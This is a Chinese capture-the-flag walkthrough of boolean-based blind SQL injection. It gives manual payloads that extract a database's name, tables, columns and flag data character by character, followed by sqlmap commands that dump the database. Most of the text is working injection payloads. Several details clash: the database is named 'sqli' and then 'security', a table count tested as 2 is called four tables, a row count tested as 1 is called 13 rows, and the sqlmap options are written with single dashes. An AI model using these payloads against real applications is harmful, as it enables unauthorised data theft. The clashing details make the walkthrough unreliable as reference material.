布尔盲注
页面回显的结果只有两种 true 和 false
true:
![](https://img-blog.csdnimg.cn/img_convert/79efc703ff2925466bdc79cff1a3b425.png)
false:
![](https://img-blog.csdnimg.cn/img_convert/b3db62750ba8155b247f0e4c6f16f3a3.png)
常用函数:
- count(x):返回统计的数量
- length(str):返回str字符串的长度
- ascii(str):返回字符串str的最左面字符的ASCII代码值。
- substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回,注意:这里的pos位置是从1开始的,不是数组的0开始
布尔注入非常繁琐费时,基本是利用工具注入,后面写了sqlmap注入的方式,但需要了解布尔注入的手工注入方式
判断当前数据库名的长度:
1 and length(database())=4
#直接给了 true ,数据库 sqli
![](https://img-blog.csdnimg.cn/img_convert/de2f4ba75bb1f66ac1abae1a0fb95362.png)
匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表
1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/5e84dfc0c581f71371cea3dd96742524.png)
![](https://img-blog.csdnimg.cn/img_convert/1a8b27b2348eb284eb8c1abbda06c11d.png)
判断表的数量:
1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/83031c1b76362868c1f4ec558b8f4a40.png)
匹配表名的ASCII码:
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/5316574e382de863e0f27323f7d92c17.png)
![](https://img-blog.csdnimg.cn/img_convert/beab15c061cd05e89aa481da33380e72.png)
判断字段(列)数:
1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/ac6c29f9c4a222e0b08059ca5e20d6c3.png)
匹配字段名的ASCII码:
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 1,1),1,1))=108
...
#flag,直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/b89c00fe65348275ceda9fa5b17863db.png)
![](https://img-blog.csdnimg.cn/img_convert/dfae0dfd8ecf36e5ac72b6bf1d8249dd.png)
判断字段下有多少数据:
1 and (select count(flag) from sqli.flag)=1
#flag下有13个数据,直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/5ee0228e2657a216753578ba4d10c13d.png)
查询数据:
1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99
...
#第一个数据为ctfhub......,这里直接给了true值
![](https://img-blog.csdnimg.cn/img_convert/a17a44f8fff40f6256d6bbcbd26d06fa.png)
sqlmap注入:
爆库名:sqlmap -u http://www.example.com/?id=1 -current-db
![](https://img-blog.csdnimg.cn/img_convert/ed5405f242d2f2533a81c0bb3dbb5ffa.png)
爆表名:sqlmap -u http://www.example.com/?id=1 -D security -tables
![](https://img-blog.csdnimg.cn/img_convert/f48899e10d10848e23c9ef18894b0320.png)
爆字段名:sqlmap -u http://www.example.com/?id=1 -D security -T users -columns
![](https://img-blog.csdnimg.cn/img_convert/4827b5b421938673b530fa5acc665dda.png)
爆数据:sqlmap -u http://www.example.com/?id=1 -D security -T users -C flag -dump
![](https://img-blog.csdnimg.cn/img_convert/ad18357524deb115ec2f9a1b1799a029.png)